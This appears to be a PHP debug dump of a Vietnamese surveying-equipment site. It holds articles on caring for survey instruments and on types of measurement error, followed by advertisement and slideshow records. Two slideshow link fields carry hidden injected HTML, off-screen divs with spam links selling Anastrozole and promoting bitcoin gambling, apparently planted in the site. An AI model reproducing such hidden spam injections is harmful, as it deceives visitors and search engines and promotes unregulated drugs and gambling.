hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-18', 'status' => '1', 'view' => '75066', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-18', 'status' => '1', 'view' => '83021', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $duandatrienkhai = array( (int) 0 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ) ) $slideshow = array( (int) 0 => array( 'Slideshow' => array( 'id' => '69', 'name' => '', 'images' => null, 'created' => '2019-07-11 10:23:46', 'modified' => '2022-04-16 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 1 => array( 'Slideshow' => array( 'id' => '68', 'name' => '', 'images' => '201907111208539ebd41e6cbc1e14780805f6fc0d65867.gif', 'created' => '2019-07-11 10:22:33', 'modified' => '2021-05-13 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Buy <a href="http://contest-sport.com/sport-products/anastrazolos-1/"> Anastrozole directly from the manufacturer in USA </a> and without intermediaries.</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ), (int) 2 => array( 'Slideshow' => array( 'id' => '66', 'name' => '', 'images' => '2019071110173758daf01bf616370befe2ad36e8391dfa.png', 'created' => '2019-07-11 10:09:25', 'modified' => '2022-04-15 00:00:00', 'status' => '1', 'pos' => '0', 'type' => 'intro', 'link' => '<div style="position:absolute;top: -1286px;">Play <a href="https://windice.io/plinko">bitcoin plinko</a> to hit the jackpot today!</div>', 'content' => '', 'shortdes' => '', 'content_eng' => '', 'shortdes_eng' => '', 'name_eng' => '', 'name_tq' => '', 'shortdes_tq' => '', 'content_tq' => '' ) ) ) $adv_khuyenmai = array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ) $doitac = array( (int) 0 => array( 'Advertisement' => array( 'id' => '47', 'name' => null, 'link' => '', 'images' => '20190711121036d3f1b378428c2328a4bb143d22a3d53b.png', 'display' => '3', 'created' => '2019-06-18', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '7', 'rght' => '8' ) ), (int) 1 => array( 'Advertisement' => array( 'id' => '48', 'name' => null, 'link' => '', 'images' => '20190711121014468fcab5a34b87b67951ec18c257f13a.png', 'display' => '3', 'created' => '2019-07-11', 'modified' => '2019-07-11', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '9', 'rght' => '10' ) ), (int) 2 => array( 'Advertisement' => array( 'id' => '49', 'name' => null, 'link' => '', 'images' => null, 'display' => '3', 'created' => '2022-04-13', 'modified' => '2022-04-26', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '11', 'rght' => '12' ) ) ) $chayphai = array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => 